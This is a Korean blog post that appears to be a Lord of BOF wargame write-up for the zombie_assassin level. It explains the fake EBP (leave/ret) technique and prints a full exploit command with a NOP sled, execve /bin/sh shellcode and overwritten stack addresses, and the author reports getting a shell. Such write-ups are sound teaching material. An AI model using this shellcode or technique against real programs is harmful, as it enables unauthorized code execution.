이번엔 \x40막고 \xbf를 막아 각각 시스템함수와 스택을 막았다.
그럼 저번처럼 코드 주소의 어셈블리어를 실행해서 해야할 것같다.
그런데 이번엔 strncpy를 사용하여 48만 받는다. 즉 이전처럼 버퍼 넘게 써서 RTL을 할 수 없다는 뜻이다..
그렇다면 이번엔 leave를 보자.
저번글에도 적었지만 leave는
mov esp, ebp
pop ebp
를 의미한다.
즉 esp에 ebp를 옮기고, ebp를 pop한다는 뜻이다.
pop을 하면 esp에 +4가 되는건 저번과 같다.
그렇다면 우리가 원하는 NOP의 4바이트 전으로 SFP를 설정해두고 leave를 실행하면 어떨까
http://bob3rdnewbie.tistory.com/187
이를 Fake EBP 라고 한다. 이번 문제 코드 상단에도 FEBP라고 힌트가 있다.
즉 EBP의 위치를 NOP전 4바이트로 옮겨두고, leave를 한번 더 실행해 esp가 ebp를 가리키게 한다. 그 후 ret을 실행하면 pop으로 esp+4가 되므로 우리가 원하는 주소로 ESP가 이동하게 되는 것이다.
./zombie_assasin `python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x70\xfa\xff\xbf" + "\xdf\x84\x04\x08"
스택이 0xbffffa70남짓에서 시작하는 것이 보인다.
그언저리일 것이라고 주소를 조금씩 바꿔가면서 실행하자 shell을 얻을 수 있었다.
'LOB' 카테고리의 다른 글
LOB:Succubus→Nightmare (0) | 2018.05.14 |
---|---|
LOB:Zombie_assassin→Succubus (0) | 2018.05.12 |
LOB:Giant→Assasin (0) | 2018.05.01 |
LOB:Bugbear→Giant (0) | 2018.04.30 |
LOB:Darkknight→Bugbear (0) | 2018.04.11 |